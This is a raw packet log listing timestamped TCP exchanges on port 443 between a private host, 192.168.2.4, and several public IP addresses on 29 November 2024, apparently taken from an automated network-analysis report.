Nov 29, 2024 23:10:03.541640043 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:03.541893005 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:03.542179108 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:03.542191029 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.141454935 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:04.141617060 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:04.141746998 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:04.143867970 CET	49738	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:04.143881083 CET	443	49738	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:04.194866896 CET	49742	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:04.194885969 CET	443	49742	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:04.194947004 CET	49742	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:04.195291042 CET	49742	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:04.195303917 CET	443	49742	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:04.801480055 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.801733017 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.801753998 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.802599907 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.802851915 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806348085 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806396961 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806400061 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.806489944 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806551933 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806555033 CET	443	49741	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.806613922 CET	49741	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806905031 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.806932926 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:04.809732914 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.809819937 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:04.809832096 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:05.232613087 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:05.233489990 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:05.233505964 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:05.234358072 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:05.234472990 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:05.240394115 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:05.240447998 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:05.282443047 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:05.282449961 CET	443	49740	142.250.181.100	192.168.2.4
Nov 29, 2024 23:10:05.329350948 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:05.381097078 CET	49742	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:06.067298889 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.111471891 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.119699001 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.119707108 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.120600939 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.120610952 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.120651960 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.162106991 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.162158012 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.162389994 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.162401915 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.205219030 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.525979996 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.526027918 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.526074886 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.526118040 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.526129007 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:06.526308060 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.527321100 CET	49744	443	192.168.2.4	104.21.82.93
Nov 29, 2024 23:10:06.527328968 CET	443	49744	104.21.82.93	192.168.2.4
Nov 29, 2024 23:10:07.944447041 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:07.944489002 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:07.944575071 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:07.945758104 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:07.945772886 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:09.326200008 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:09.326265097 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:09.327625990 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:09.327640057 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:09.327841997 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:09.380947113 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:09.384248972 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:09.384263992 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:09.384308100 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.160820007 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.160883904 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.161201000 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.162010908 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.162029028 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.162041903 CET	49746	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.162045956 CET	443	49746	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.301100969 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.301126003 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:10.301198006 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.301605940 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:10.301614046 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:11.518254995 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:11.518318892 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:11.520968914 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:11.520976067 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:11.521198034 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:11.522402048 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:11.522440910 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:11.522466898 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322273970 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322318077 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322360039 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322390079 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322412014 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.322419882 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322429895 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.322446108 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.322470903 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.322482109 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.338337898 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.338433027 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.338484049 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.338490963 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.340543032 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.346579075 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.391973019 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.442208052 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.485729933 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.485735893 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513595104 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513659954 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.513665915 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513758898 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513803959 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.513818026 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513828039 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.513828993 CET	49747	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.513834953 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.513839960 CET	443	49747	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.594337940 CET	49740	443	192.168.2.4	142.250.181.100
Nov 29, 2024 23:10:12.691850901 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.691880941 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:12.691945076 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.693383932 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:12.693396091 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:13.997992992 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:13.998058081 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:14.001347065 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:14.001355886 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:14.001555920 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:14.003174067 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:14.003289938 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:14.003329039 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:14.003509045 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:14.003515005 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:14.039196968 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:14.039215088 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:14.041683912 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:14.045629978 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:14.045639992 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:15.116744995 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:15.116822958 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:15.116873026 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:15.121383905 CET	49748	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:15.121398926 CET	443	49748	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:15.243508101 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:15.243527889 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:15.243590117 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:15.244054079 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:15.244065046 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:15.830281019 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:15.830390930 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:15.835870981 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:15.835876942 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:15.836080074 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:15.884291887 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:16.445204020 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.445225000 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:16.445316076 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.447161913 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.447174072 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:16.462277889 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:16.465151072 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.465151072 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.465163946 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:16.465357065 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:16.466713905 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.466713905 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:16.466739893 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.434638977 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.434716940 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.434777021 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.434936047 CET	49750	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.434952974 CET	443	49750	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.647356033 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.647382021 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.647475004 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.647790909 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.647802114 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.717659950 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.717726946 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.718828917 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.718837023 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.719052076 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:17.767107010 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.786257029 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.786286116 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:17.786314964 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.066282034 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.107336044 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.629947901 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.629970074 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.629976988 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.630009890 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.630029917 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.630038977 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.630045891 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.630057096 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.630067110 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.630099058 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.656691074 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.656780958 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.656785011 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.656806946 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:18.656852961 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:18.836491108 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.836585045 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.836648941 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.955102921 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.955179930 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.964709044 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.964726925 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.964740992 CET	49751	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.964745998 CET	443	49751	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.977907896 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.977931023 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.978162050 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.979517937 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.979687929 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.979720116 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:18.979770899 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:18.979779005 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:19.076735020 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:19.076788902 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:19.076850891 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:19.077259064 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:19.077272892 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:19.965220928 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:19.965301991 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:19.965362072 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:19.965466976 CET	49753	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:19.965477943 CET	443	49753	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.313680887 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.313710928 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.313780069 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.314112902 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.314124107 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.340562105 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.340625048 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.341757059 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.341773987 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.341978073 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.343187094 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.343214035 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:20.343250036 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:20.365881920 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:20.365896940 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:20.365909100 CET	49749	443	192.168.2.4	20.109.210.53
Nov 29, 2024 23:10:20.365914106 CET	443	49749	20.109.210.53	192.168.2.4
Nov 29, 2024 23:10:21.162980080 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163080931 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163113117 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163142920 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163181067 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163265944 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.163265944 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.163305044 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.163719893 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.163727999 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.174232960 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.175885916 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.175894976 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.182650089 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.183686018 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.183696032 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.228190899 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.283166885 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.337179899 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.337197065 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.363898993 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.363965988 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.364043951 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.367364883 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.367377043 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.367400885 CET	49756	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.367407084 CET	443	49756	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.578213930 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.578273058 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.580332041 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.580339909 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.580586910 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.588234901 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.588413954 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.588418961 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.665364981 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.665379047 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:21.665621996 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.665894985 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:21.665904045 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.299542904 CET	443	49757	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.299772978 CET	49757	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.736186028 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.736280918 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.736361980 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.736685991 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.736723900 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.885329962 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.885390997 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.886907101 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.886918068 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.887115955 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.897221088 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.897381067 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.897413015 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:22.897464991 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:22.897471905 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:23.977390051 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:23.977488041 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:23.977581024 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:23.982732058 CET	49759	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:23.982753038 CET	443	49759	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.063925028 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.063992977 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.067989111 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.068016052 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.068242073 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.077291965 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.077790976 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.077838898 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.078080893 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.078124046 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.078253984 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.078305006 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.079054117 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.079101086 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.079336882 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.079386950 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.079610109 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.079683065 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.079715967 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.079730034 CET	443	49760	172.67.156.217	192.168.2.4
Nov 29, 2024 23:10:24.079813957 CET	49760	443	192.168.2.4	172.67.156.217
Nov 29, 2024 23:10:24.079843998 CET	443	49760	172.67.156.217	192.168.2.4
